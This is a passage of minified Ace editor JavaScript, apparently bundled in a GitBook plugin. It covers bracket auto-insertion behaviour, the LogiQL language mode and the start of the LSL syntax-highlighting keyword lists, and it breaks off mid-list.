r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/logiql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/logiql_highlight_rules\",\"ace/mode/folding/coffee\",\"ace/token_iterator\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./logiql_highlight_rules\").LogiQLHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=e(\"../token_iterator\").TokenIterator,a=e(\"../range\").Range,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./matching_brace_outdent\").MatchingBraceOutdent,c=function(){this.HighlightRules=s,this.foldingRules=new o,this.$outdent=new l,this.$behaviour=new f};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(/comment|string/.test(o))return r;if(s.length&&s[s.length-1].type==\"comment.single\")return r;var u=t.match();return/(-->|<--|<-|->|{)\\s*$/.test(t)&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)?!0:n!==\"\\n\"&&n!==\"\\r\\n\"?!1:/^\\s+/.test(t)?!0:!1},this.autoOutdent=function(e,t,n){if(this.$outdent.autoOutdent(t,n))return;var r=t.getLine(n),i=r.match(/^\\s+/),s=r.lastIndexOf(\".\")+1;if(!i||!n||!s)return 0;var o=t.getLine(n+1),u=this.getMatching(t,{row:n,column:s});if(!u||u.start.row==n)return 0;s=i[0].length;var f=this.$getIndent(t.getLine(u.start.row));t.replace(new a(n+1,0,n+1,s),f)},this.getMatching=function(e,t,n){t==undefined&&(t=e.selection.lead),typeof t==\"object\"&&(n=t.column,t=t.row);var r=e.getTokenAt(t,n),i=\"keyword.start\",s=\"keyword.end\",o;if(!r)return;if(r.type==i){var f=new u(e,t,n);f.step=f.stepForward}else{if(r.type!=s)return;var f=new u(e,t,n);f.step=f.stepBackward}while(o=f.step())if(o.type==i||o.type==s)break;if(!o||o.type==r.type)return;var l=f.getCurrentTokenColumn(),t=f.getCurrentTokenRow();return new a(t,l,t,l+o.value.length)},this.$id=\"ace/mode/logiql\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-lsl.js",
    "content": "define(\"ace/mode/lsl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=this.createKeywordMapper({\"constant.language.float.lsl\":\"DEG_TO_RAD|PI|PI_BY_TWO|RAD_TO_DEG|SQRT2|TWO_PI\",\"constant.language.integer.lsl\":\"ACTIVE|AGENT|AGENT_ALWAYS_RUN|AGENT_ATTACHMENTS|AGENT_AUTOPILOT|AGENT_AWAY|AGENT_BUSY|AGENT_BY_LEGACY_NAME|AGENT_BY_USERNAME|AGENT_CROUCHING|AGENT_FLYING|AGENT_IN_AIR|AGENT_LIST_PARCEL|AGENT_LIST_PARCEL_OWNER|AGENT_LIST_REGION|AGENT_MOUSELOOK|AGENT_ON_OBJECT|AGENT_SCRIPTED|AGENT_SITTING|AGENT_TYPING|AGENT_WALKING|ALL_SIDES|ANIM_ON|ATTACH_AVATAR_CENTER|ATTACH_BACK|ATTACH_BELLY|ATTACH_CHEST|ATTACH_CHIN|ATTACH_HEAD|ATTACH_HUD_BOTTOM|ATTACH_HUD_BOTTOM_LEFT|ATTACH_HUD_BOTTOM_RIGHT|ATTACH_HUD_CENTER_1|ATTACH_HUD_CENTER_2|ATTACH_HUD_TOP_CENTER|ATTACH_HUD_TOP_LEFT|ATTACH_HUD_TOP_RIGHT|ATTACH_LEAR|ATTACH_LEFT_PEC|ATTACH_LEYE|ATTACH_LFOOT|ATTACH_LHAND|ATTACH_LHIP|ATTACH_LLARM|ATTACH_LLLEG|ATTACH_LSHOULDER|ATTACH_LUARM|ATTACH_LULEG|ATTACH_MOUTH|ATTACH_NECK|ATTACH_NOSE|ATTACH_PELVIS|ATTACH_REAR|ATTACH_REYE|ATTACH_RFOOT|ATTACH_RHAND|ATTACH_RHIP|ATTACH_RIGHT_PEC|ATTACH_RLARM|ATTACH_RLLEG|ATTACH_RSHOULDER|ATTACH_RUARM|ATTACH_RULEG|AVOID_CHARACTERS|AVOID_DYNAMIC_OBSTACLES|AVOID_NONE|CAMERA_ACTIVE|CAMERA_BEHINDNESS_ANGLE|CAMERA_BEHINDNESS_LAG|CAMERA_DISTANCE|CAMERA_FOCUS|CAMERA_FOCUS_LAG|CAMERA_FOCUS_LOCKED|CAMERA_FOCUS_OFFSET|CAMERA_FOCUS_THRESHOLD|CAMERA_PITCH|CAMERA_POSITION|CAMERA_POSITION_LAG|CAMERA_POSITION_LOCKED|CAMERA_POSITION_THRESHOLD|CHANGED_ALLOWED_DROP|CHANGED_COLOR|CHANGED_INVENTORY|CHANGED_LINK|CHANGED_MEDIA|CHANGED_OWNER|CHANGED_REGION|CHANGED_REGION_START|CHANGED_SCALE|CHANGED_SHAPE|CHANGED_TELEPORT|CHANGED_TEXTURE|CHARACTER_ACCOUNT_FOR_SKIPPED_FRAMES|CHARACTER_AVOIDANCE_MODE|CHARACTER_CMD_JUMP|CHARACTER_CMD_SMOOTH_STOP|CHARACTER_CMD_STOP|CHARACTER_DESIRED_SPEED|CHARACTER_DESIRED_TURN_SPEED|CHARACTER_LENGTH|CHARACTER_MAX_ACCEL|CHARACTER_MAX_DECEL|CHARACTER_MAX_SPEED|CHARACTER_MAX_TURN_RADIUS|CHARACTER_ORIENTATION|CHARACTER_RADIUS|CHARACTER_STAY_WITHIN_PARCEL|CHARACTER_TYPE|CHARACTER_TYPE_A|CHARACTER_TYPE_B|CHARACTER_TYPE_C|CHARACTER_TYPE_D|CHARACTER_TYPE_NONE|CLICK_ACTION_BUY|CLICK_ACTION_NONE|CLICK_ACTION_OPEN|CLICK_ACTION_OPEN_MEDIA|CLICK_ACTION_PAY|CLICK_ACTION_PLAY|CLICK_ACTION_SIT|CLICK_ACTION_TOUCH|CONTENT_TYPE_ATOM|CONTENT_TYPE_FORM|CONTENT_TYPE_HTML|CONTENT_TYPE_JSON|CONTENT_TYPE_LLSD|CONTENT_TYPE_RSS|CONTENT_TYPE_TEXT|CONTENT_TYPE_XHTML|CONTENT_TYPE_XML|CONTROL_BACK|CONTROL_DOWN|CONTROL_FWD|CONTROL_LBUTTON|CONTROL_LEFT|CONTROL_ML_LBUTTON|CONTROL_RIGHT|CONTROL_ROT_LEFT|CONTROL_ROT_RIGHT|CONTROL_UP|DATA_BORN|DATA_NAME|DATA_ONLINE|DATA_PAYINFO|DATA_SIM_POS|DATA_SIM_RATING|DATA_SIM_STATUS|DEBUG_CHANNEL|DENSITY|ERR_GENERIC|ERR_MALFORMED_PARAMS|ERR_PARCEL_PERMISSIONS|ERR_RUNTIME_PERMISSIONS|ERR_THROTTLED|ESTATE_ACCESS_ALLOWED_AGENT_ADD|ESTATE_ACCESS_ALLOWED_AGENT_REMOVE|ESTATE_ACCESS_ALLOWED_GROUP_ADD|ESTATE_ACCESS_ALLOWED_GROUP_REMOVE|ESTATE_ACCESS_BANNED_AGENT_ADD|ESTATE_ACCESS_BANNED_AGENT_REMOVE|FALSE|FORCE_DIRECT_PATH|FRICTION|GCNP_RADIUS|GCNP_STATIC|GRAVITY_MULTIPLIER|HORIZONTAL|HTTP_BODY_MAXLENGTH|HTTP_BODY_TRUNCATED|HTTP_CUSTOM_HEADER|HTTP_METHOD|HTTP_MIMETYPE|HTTP_PRAGMA_NO_CACHE|HTTP_VERBOSE_THROTTLE|HTTP_VERIFY_CERT|INVENTORY_ALL|INVENTORY_ANIMATION|INVENTORY_BODYPART|INVENTORY_CLOTHING|INVENTORY_GESTURE|INVENTORY_LANDMARK|INVENTORY_NONE|INVENTORY_NOTECARD|INVENTORY_OBJECT|INVENTORY_SCRIPT|INVENTORY_SOUND|INVENTORY_TEXTURE|JSON_APPEND|KFM_CMD_PAUSE|KFM_CMD_PLAY|KFM_CMD_SET_MODE|KFM_CMD_STOP|KFM_COMMAND|KFM_DATA|KFM_FORWARD|KFM_LOOP|KFM_MODE|KFM_PING_PONG|KFM_REVERSE|KFM_ROTATION|KFM_TRANSLATION|LAND_LEVEL|LAND_LOWER|LAND_NOISE|LAND_RAISE|LAND_REVERT|LAND_SMOOTH|LINK_ALL_CHILDREN|LINK_ALL_OTHERS|LINK_ROOT|LINK_SET|LINK_THIS|LIST_STAT_GEOMETRIC_MEAN|LIST_STAT_MAX|LIST_STAT_MEAN|LIST_STAT_MEDIAN|LIST_STAT_MIN|LIST_STAT_NUM_COUNT|LIST_STAT_RANGE|LIST_STAT_STD_DEV|LIST_STAT_SUM|LIST_STAT_SUM_SQUARES|LOOP|MASK_BASE|MASK_EVERYONE|MASK_GROUP|MASK_NEXT|MASK_OWNER|OBJECT_ATTACHED_POINT|OBJECT_BODY_SHAPE_TYPE|OBJECT_CHARACTER_TIME|OBJECT_CLICK_ACTION|OBJECT_CREATOR|OBJECT_DESC|OBJECT_GROUP|OBJECT_HOVER_HEIGHT|OBJECT_LAST_OWNER_ID|OBJECT_NAME|OBJECT_OWNER|OBJECT_PATHFINDING_TYPE|OBJECT_PHANTOM|OBJECT_PHYSICS|OBJECT_PHYSICS_COST|OBJECT_POS|OBJECT_PRIM_EQUIVALENCE|OBJECT_RENDER_WEIGHT|OBJECT_RETURN_PARCEL|OBJECT_RETURN_PARCEL_OWNER|OBJECT_RETURN_REGION|OBJECT_ROOT|OBJECT_ROT|OBJECT_RUNNING_SCRIPT_COUNT|OBJECT_SCRIPT_MEMORY|OBJECT_SCRIPT_TIME|OBJECT_SERVER_COST|OBJECT_STREAMING_COST|OBJECT_TEMP_ON_REZ|OBJECT_TOTAL_SCRIPT_COUNT|OBJECT_UNKNOWN_DETAIL|OBJECT_VELOCITY|OPT_AVATAR|OPT_CHARACTER|OPT_EXCLUSION_VOLUME|OPT_LEGACY_LINKSET|OPT_MATERIAL_VOLUME|OPT_OTHER|OPT_STATIC_OBSTACLE|OPT_WALKABLE|PARCEL_COUNT_GROUP|PARCEL_COUNT_OTHER|PARCEL_COUNT_OWNER|PARCEL_COUNT_SELECTED|PARCEL_COUNT_TEMP|PARCEL_COUNT_TOTAL|PARCEL_DETAILS_AREA|PARCEL_DETAILS_DESC|PARCEL_DETAILS_GROUP|PARCEL_DETAILS_ID|PARCEL_DETAILS_NAME|PARCEL_DETAILS_OWNER|PARCEL_DETAILS_SEE_AVATARS|PARCEL_FLAG_ALLOW_ALL_OBJECT_ENTRY|PARCEL_FLAG_ALLOW_CREATE_GROUP_OBJECTS|PARCEL_FLAG_ALLOW_CREATE_OBJECTS|PARCEL_FLAG_ALLOW_DAMAGE|PARCEL_FLAG_ALLOW_FLY|PARCEL_FLAG_ALLOW_GROUP_OBJECT_ENTRY|PARCEL_FLAG_ALLOW_GROUP_SCRIPTS|PARCEL_FLAG_ALLOW_LANDMARK|PARCEL_FLAG_ALLOW_SCRIPTS|PARCEL_FLAG_ALLOW_TERRAFORM|PARCEL_FLAG_LOCAL_SOUND_ONLY|PARCEL_FLAG_RESTRICT_PUSHOBJECT|PARCEL_FLAG_USE_ACCESS_GROUP|PARCEL_FLAG_USE_ACCESS_LIST|PARCEL_FLAG_USE_BAN_LIST|PARCEL_FLAG_USE_LAND_PASS_LIST|PARCEL_MEDIA_COMMAND_AGENT|PARCEL_MEDIA_COMMAND_AUTO_ALIGN|PARCEL_MEDIA_COMMAND_DESC|PARCEL_MEDIA_COMMAND_LOOP|PARCEL_MEDIA_COMMAND_LOOP_SET|PARCEL_MEDIA_COMMAND_PAUSE|PARCEL_MEDIA_COMMAND_PLAY|PARCEL_MEDIA_COMMAND_SIZE|PARCEL_MEDIA_COMMAND_STOP|PARCEL_MEDIA_COMMAND_TEXTURE|PARCEL_MEDIA_COMMAND_TIME|PARCEL_MEDIA_COMMAND_TYPE|PARCEL_MEDIA_COMMAND_UNLOAD|PARCEL_MEDIA_COMMAND_URL|PASS_ALWAYS|PASS_IF_NOT_HANDLED|PASS_NEVER|PASSIVE|PATROL_PAUSE_AT_WAYPOINTS|PAYMENT_INFO_ON_FILE|PAYMENT_INFO_USED|PAY_DEFAULT|PAY_HIDE|PERMISSION_ATTACH|PERMISSION_CHANGE_LINKS|PERMISSION_CONTROL_CAMERA|PERMISSION_DEBIT|PERMISSION_OVERRIDE_ANIMATIONS|PERMISSION_RETURN_OBJECTS|PERMISSION_SILENT_ESTATE_MANAGEMENT|PERMISSION_TAKE_CONTROLS|PERMISSION_TELEPORT|PERMISSION_TRACK_CAMERA|PERMISSION_TRIGGER_ANIMATION|PERM_ALL|PERM_COPY|PERM_MODIFY|PERM_MOVE|PERM_TRANSFER|PING_PONG|PRIM_ALPHA_MODE|PRIM_ALPHA_MODE_BLEND|PRIM_ALPHA_MODE_EMISSIVE|PRIM_ALPHA_MODE_MASK|PRIM_ALPHA_MODE_NONE|PRIM_BUMP_BARK|PRIM_BUMP_BLOBS|PRIM_BUMP_BRICKS|PRIM_BUMP_BRIGHT|PRIM_BUMP_CHECKER|PRIM_BUMP_CONCRETE|PRIM_BUMP_DARK|PRIM_BUMP_DISKS|PRIM_BUMP_GRAVEL|PRIM_BUMP_LARGETILE|PRIM_BUMP_NONE|PRIM_BUMP_SHINY|PRIM_BUMP_SIDING|PRIM_BUMP_STONE|PRIM_BUMP_STUCCO|PRIM_BUMP_SUCTION|PRIM_BUMP_TILE|PRIM_BUMP_WEAVE|PRIM_BUMP_WOOD|PRIM_COLOR|PRIM_DESC|PRIM_FLEXIBLE|PRIM_FULLBRIGHT|PRIM_GLOW|PRIM_HOLE_CIRCLE|PRIM_HOLE_DEFAULT|PRIM_HOLE_SQUARE|PRIM_HOLE_TRIANGLE|PRIM_LINK_TARGET|PRIM_MATERIAL|PRIM_MATERIAL_FLESH|PRIM_MATERIAL_GLASS|PRIM_MATERIAL_METAL|PRIM_MATERIAL_PLASTIC|PRIM_MATERIAL_RUBBER|PRIM_MATERIAL_STONE|PRIM_MATERIAL_WOOD|PRIM_MEDIA_ALT_IMAGE_ENABLE|PRIM_MEDIA_AUTO_LOOP|PRIM_MEDIA_AUTO_PLAY|PRIM_MEDIA_AUTO_SCALE|PRIM_MEDIA_AUTO_ZOOM|PRIM_MEDIA_CONTROLS|PRIM_MEDIA_CONTROLS_MINI|PRIM_MEDIA_CONTROLS_STANDARD|PRIM_MEDIA_CURRENT_URL|PRIM_MEDIA_FIRST_CLICK_INTERACT|PRIM_MEDIA_HEIGHT_PIXELS|PRIM_MEDIA_HOME_URL|PRIM_MEDIA_MAX_HEIGHT_PIXELS|PRIM_MEDIA_MAX_URL_LENGTH|PRIM_MEDIA_MAX_WHITELIST_COUNT|PRIM_MEDIA_MAX_WHITELIST_SIZE|PRIM_MEDIA_MAX_WIDTH_PIXELS|PRIM_MEDIA_PARAM_MAX|PRIM_MEDIA_PERMS_CONTROL|PRIM_MEDIA_PERMS_INTERACT|PRIM_MEDIA_PERM_ANYONE|PRIM_MEDIA_PERM_GROUP|PRIM_MEDIA_PERM_NONE|PRIM_MEDIA_PERM_OWNER|PRIM_MEDIA_WHITELIST|PRIM_MEDIA_WHITELIST_ENABLE|PRIM_MEDIA_WIDTH_PIXELS|PRIM_NAME|PRIM_NORMAL|PRIM_OMEGA|PRIM_PHANTOM|PRIM_PHYSICS|PRIM_PHYSICS_SHAPE_CONVEX|PRIM_PHYSICS_SHAPE_NONE|PRIM_PHYSICS_SHAPE_PRIM|PRIM_PHYSICS_SHAPE_TYPE|PRIM_POINT_LIGHT|PRIM_POSITION|PRIM_POS_LOCAL|PRIM_ROTATION|PRIM_ROT_LOCAL|PRIM_SCULPT_FLAG_INVERT|PRIM_SCULPT_FLAG_MIRROR|PRIM_SCULPT_TYPE_CYLINDER|PRIM_SCULPT_TYPE_MASK|PRIM_SCULPT_TYPE_PLANE|PRIM_SCULPT_TYPE_SPHERE|PRIM_SCULPT_TYPE_TORUS|PRIM_SHINY_HIGH|PRIM_SHINY_LOW|PRIM_SHINY_MEDIUM|PRIM_SHINY_NONE|PRIM_SIZE|PRIM_SLICE|PRIM_SPECULAR|PRIM_TEMP_ON_REZ|PRIM_TEXGEN|PRIM_TEXGEN_DEFAULT|PRIM_TEXGEN_PLANAR|PRIM_TEXT|PRIM_TEXTURE|PRIM_TYPE|PRIM_TYPE_BOX|PRIM_TYPE_CYLINDER|PRIM_TYPE_PRISM|PRIM_TYPE_RING|PRIM_TYPE_SCULPT|PRIM_TYPE_SPHERE|PRIM_TYPE_TORUS|PRIM_TYPE_TUBE|PROFILE_NONE|PROFILE_SCRIPT_MEMORY|PSYS_PART_BF_DEST_COLOR|PSYS_PART_BF_ONE|PSYS_PART_BF_ONE_MINUS_DEST_COLOR|PSYS_PART_BF_ONE_MINUS_SOURCE_ALPHA|PSYS_PART_BF_ONE_MINUS_SOURCE_COLOR|PSYS_PART_BF_SOURCE_ALPHA|PSYS_PART_BF_SOURCE_COLOR|PSYS_PART_BF_ZERO|PSYS_PART_BLEND_FUNC_DEST|PSYS_PART_BLEND_FUNC_SOURCE|PSYS_PART_BOUNCE_MASK|PSYS_PART_EMISSIVE_MASK|PSYS_PART_END_ALPHA|PSYS_PART_END_COLOR|PSYS_PART_END_GLOW|PSYS_PART_END_SCALE|PSYS_PART_FLAGS|PSYS_PART_FOLLOW_SRC_MASK|PSYS_PART_FOLLOW_VELOCITY_MASK|PSYS_PART_INTERP_COLOR_MASK|PSYS_PART_INTERP_SCALE_MASK|PSYS_PART_MAX_AGE|PSYS_PART_RIBBON_MASK|PSYS_PART_START_ALPHA|PSYS_PART_START_COLOR|PSYS_PART_START_GLOW|PSYS_PART_START_SCALE|PSYS_PART_TARGET_LINEAR_MASK|PSYS_PART_TARGET_POS_MASK|PSYS_PART_WIND_MASK|PSYS_SRC_ACCEL|PSYS_SRC_ANGLE_BEGIN|PSYS_SRC_ANGLE_END|PSYS_SRC_BURST_PART_COUNT|PSYS_SRC_BURST_RADIUS|PSYS_SRC_BURST_RATE|PSYS_SRC_BURST_SPEED_MAX|PSYS_SRC_BURST_SPEED_MIN|PSYS_SRC_MAX_AGE|PSYS_SRC_OMEGA|PSYS_SRC_PATTERN|PSYS_SRC_PATTERN_ANGLE|PSYS_SRC_PATTERN_ANGLE_CONE|PSYS_SRC_PATTERN_ANGLE_CONE_EMPTY|PSYS_SRC_PATTERN_DROP|PSYS_SRC_PATTERN_EXPLODE|PSYS_SRC_TARGET_KEY|PSYS_SRC_TEXTURE|PUBLIC_CHANNEL|PURSUIT_FUZZ_FACTOR|PURSUIT_GOAL_TOLERANCE|PURSUIT_INTERCEPT|PURSUIT_OFFSET|PU_EVADE_HIDDEN|PU_EVADE_SPOTTED|PU_FAILURE_DYNAMIC_PATHFINDING_DISABLED|PU_FAILURE_INVALID_GOAL|PU_FAILURE_INVALID_START|PU_FAILURE_NO_NAVMESH|PU_FAILURE_NO_VALID_DESTINATION|PU_FAILURE_OTHER|PU_FAILURE_PARCEL_UNREACHABLE|PU_FAILURE_TARGET_GONE|PU_FAILURE_UNREACHABLE|PU_GOAL_REACHED|PU_SLOWDOWN_DISTANCE_REACHED|RCERR_CAST_TIME_EXCEEDED|RCERR_SIM_PERF_LOW|RCERR_UNKNOWN|RC_DATA_FLAGS|RC_DETECT_PHANTOM|RC_GET_LINK_NUM|RC_GET_NORMAL|RC_GET_ROOT_KEY|RC_MAX_HITS|RC_REJECT_AGENTS|RC_REJECT_LAND|RC_REJECT_NONPHYSICAL|RC_REJECT_PHYSICAL|RC_REJECT_TYPES|REGION_FLAG_ALLOW_DAMAGE|REGION_FLAG_ALLOW_DIRECT_TELEPORT|REGION_FLAG_BLOCK_FLY|REGION_FLAG_BLOCK_TERRAFORM|REGION_FLAG_DISABLE_COLLISIONS|REGION_FLAG_DISABLE_PHYSICS|REGION_FLAG_FIXED_SUN|REGION_FLAG_RESTRICT_PUSHOBJECT|REGION_FLAG_SANDBOX|REMOTE_DATA_CHANNEL|REMOTE_DATA_REPLY|REMOTE_DATA_REQUEST|REQUIRE_LINE_OF_SIGHT|RESTITUTION|REVERSE|ROTATE|SCALE|SCRIPTED|SIM_STAT_PCT_CHARS_STEPPED|SMOOTH|STATUS_BLOCK_GRAB|STATUS_BLOCK_GRAB_OBJECT|STATUS_BOUNDS_ERROR|STATUS_CAST_SHADOWS|STATUS_DIE_AT_EDGE|STATUS_INTERNAL_ERROR|STATUS_MALFORMED_PARAMS|STATUS_NOT_FOUND|STATUS_NOT_SUPPORTED|STATUS_OK|STATUS_PHANTOM|STATUS_PHYSICS|STATUS_RETURN_AT_EDGE|STATUS_ROTATE_X|STATUS_ROTATE_Y|STATUS_ROTATE_Z|STATUS_SANDBOX|STATUS_TYPE_MISMATCH|STATUS_WHITELIST_FAILED|STRING_TRIM|STRING_TRIM_HEAD|STRING_TRIM_TAIL|TOUCH_INVALID_FACE|TRAVERSAL_TYPE|TRAVERSAL_TYPE_FAST|TRAVERSAL_TYPE_NONE|TRAVERSAL_TYPE_SLOW|TRUE|TYPE_FLOAT|TYPE_INTEGER|TYPE_INVALID|TYPE_KEY|TYPE_ROTATION|TYPE_STRING|TYPE_VECTOR|VEHICLE_ANGULAR_DEFLECTION_EFFICIENCY|VEHICLE_ANGULAR_DEFLECTION_TIMESCALE|VEHICLE_ANGULAR_FRICTION_TIMESCALE|VEHICLE_ANGULAR_MOTOR_DECAY_TIMESCALE|VEHICLE_ANGULAR_MOTOR_DIRECTION|VEHICLE_ANGULAR_MOTOR_TIMESCALE|VEHICLE_BANKING_EFFICIENCY|VEHICLE_BANKING_MIX|VEHICLE_BANKING_TIMESCALE|VEHICLE_BUOYANCY|VEHICLE_FLAG_CAMERA_DECOUPLED|VEHICLE_FLAG_HOVER_GLOBAL_HEIGHT|VEHICLE_FLAG_HOVER_TERRAIN_ONLY|VEHICLE_FLAG_HOVER_UP_ONLY|VEHICLE_FLAG_HOVER_WATER_ONLY|VEHICLE_FLAG_LIMIT_MOTOR_UP|VEHICLE_FLAG_LIMIT_ROLL_ONLY|VEHICLE_FLAG_MOUSELOOK_BANK|VEHICLE_FLAG_MOUSELOOK_STEER|VEHICLE_FLAG_NO_DEFLECTION_UP|VEHICLE_HOVER_EFFICIENCY|VEHICLE_HOVER_HEIGHT|VEHICLE_HOVER_TIMESCALE|VEHICLE_LINEAR_DEFLECTION_EFFICIENCY|VEHICLE_LINEAR_DEFLECTION_TIMESCALE|VEHICLE_LINEAR_FRICTION_TIMESCALE|VEHICLE_LINEAR_MOTOR_DECAY_TIMESCALE|VEHICLE_LINEAR_MOTOR_DIRECTION|VEHICLE_LINEAR_MOTOR_OFFSET|VEHICLE_LINEAR_MOTOR_TIMESCALE|VEHICLE_REFERENCE_FRAME|VEHICLE_TYPE_AIRPLANE|VEHICLE_TYPE_BALLOON|VEHICLE_TYPE_BOAT|VEHICLE_TYPE_CAR|VEHICLE_TYPE_NONE|VEHICLE_TYPE_SLED|VEHICLE_VERTICAL_ATTRACTION_EFFICIENCY|VEHICLE_VERTICAL_ATTRACTION_TIMESCALE|VERTICAL|WANDER_PAUSE_AT_WAYPOINTS|XP_ERROR_EXPERIENCES_DISABLED|XP_ERROR_EXPERIENCE_DISABLED|XP_ERROR_EXPERIENCE_SUSPENDED|XP_ERROR_INVALID_EXPERIENCE|XP_ERROR_INVALID_PARAMETERS|XP_ERROR_KEY_NOT_FOUND|XP_ERROR_MATURITY_EXCEEDED|XP_ERROR_NONE|XP_ERROR_NOT_FOUND|XP_ERROR_NOT_PERMITTED|XP_ERROR_NO_EXPERIENCE|XP_ERROR_QUOTA_EXCEEDED|XP_ERROR_RETRY_UPDATE|XP_ERROR_STORAGE_EXCEPTION|XP_ERROR_STORE_DISABLED|XP_ERROR_THROTTLED|XP_ERROR_UNKNOWN_ERROR\",\"constant.language.integer.boolean.lsl\":\"FALSE|TRUE\",\"constant.language.quaternion.lsl\":\"ZERO_ROTATION\",\"constant.language.string.lsl\":\"EOF|JSON_ARRAY|JSON_DELETE|JSON_FALSE|JSON_INVALID|JSON_NULL|JSON_NUMBER|JSON_OBJECT|JSON_STRING|JSON_TRUE|NULL_KEY|TEXTURE_BLANK|TEXTURE_DEFAULT|TEXTURE_MEDIA|TEXTURE_PLYWOOD|TEXTURE_TRANSPARENT|URL_REQUEST_DENIED|URL_REQUEST_GRANTED\",\"constant.language.vector.lsl\":\"TOUCH_INVALID_TEXCOORD|TOUCH_INVALID_VECTOR|ZERO_VECTOR\",\"invalid.broken.lsl\":\"LAND_LARGE_BRUSH|LAND_MEDIUM_BRUSH|LAND_SMALL_BRUSH\",\"invalid.deprecated.lsl\":\"ATTACH_LPEC|ATTACH_RPEC|DATA_RATING|OBJECT_ATTACHMENT_GEOMETRY_BYTES|OBJECT_ATTACHMENT_SURFACE_AREA|PRIM_CAST_SHADOWS|PRIM_MATERIAL_LIGHT|PRIM_TYPE_LEGACY|PSYS_SRC_INNERANGLE|PSYS_SRC_OUTERANGLE|VEHICLE_FLAG_NO_FLY_UP|llClearExperiencePermissions|llCloud|llGetExperienceList|llMakeExplosion|llMakeFire|llMakeFountain|llMakeSmoke|llRemoteDataSetRegion|llSound|llSoundPreload|llXorBase64Strings|llXorBase64StringsCorrect\",\"invalid.illegal.lsl\":\"event\",\"invalid.unimplemented.lsl\":\"CHARACTER_MAX_ANGULAR_ACCEL|CHARACTER_MAX_ANGULAR_SPEED|CHARACTER_TURN_SPEED_MULTIPLIER|PERMISSION_CHANGE_JOINTS|PERMISSION_CHANGE_PERMISSIONS|PERMISSION_EXPERIENCE|PERMISSION_RELEASE_OWNERSHIP|PERMISSION_REMAP_CONTROLS|PRIM_PHYSICS_MATERIAL|PSYS_SRC_OBJ_REL_MASK|llCollisionSprite|llPointAt|llRefreshPrimURL|llReleaseCamera|llRemoteLoadScript|llSetPrimURL|llStopPointAt|llTakeCamera\",\"reserved.godmode.lsl\":\"llGodLikeRezObject|llSetInventoryPermMask|llSetObjectPermMask\",\"reserved.log.lsl\":\"print\",\"keyword.control.lsl\":\"do|else|for|if|jump|return|while\",\"storage.type.lsl\":\"float|integer|key|list|quaternion|rotation|string|vector\",\"support.function.lsl\":\"llAbs|llAcos|llAddToLandBanList|llAddToLandPassList|llAdjustSoundVolume|llAgentInExperience|llAllowInventoryDrop|llAngleBetween|llApplyImpulse|llApplyRotationalImpulse|llAsin|llAtan2|llAttachToAvatar|llAttachToAvatarTemp|llAvatarOnLinkSitTarget|llAvatarOnSitTarget|llAxes2Rot|llAxisAngle2Rot|llBase64ToInteger|llBase64ToString|llBreakAllLinks|llBreakLink|llCSV2List|llCastRay|llCeil|llClearCameraParams|llClearLinkMedia|llClearPrimMedia|llCloseRemoteDataChannel|llCollisionFilter|llCollisionSound|llCos|llCreateCharacter|llCreateKeyValue|llCreateLink|llDataSizeKeyValue|llDeleteCharacter|llDeleteKeyValue|llDeleteSubList|llDeleteSubString|llDetachFromAvatar|llDetectedGrab|llDetectedGroup|llDetectedKey|llDetectedLinkNumber|llDetectedName|llDetectedOwner|llDetectedPos|llDetectedRot|llDetectedTouchBinormal|llDetectedTouchFace|llDetectedTouchNormal|llDetectedTouchPos|llDetectedTouchST|llDetectedTouchUV|llDetectedType|llDetectedVel|llDialog|llDie|llDumpList2String|llEdgeOfWorld|llEjectFromLand|llEmail|llEscapeURL|llEuler2Rot|llEva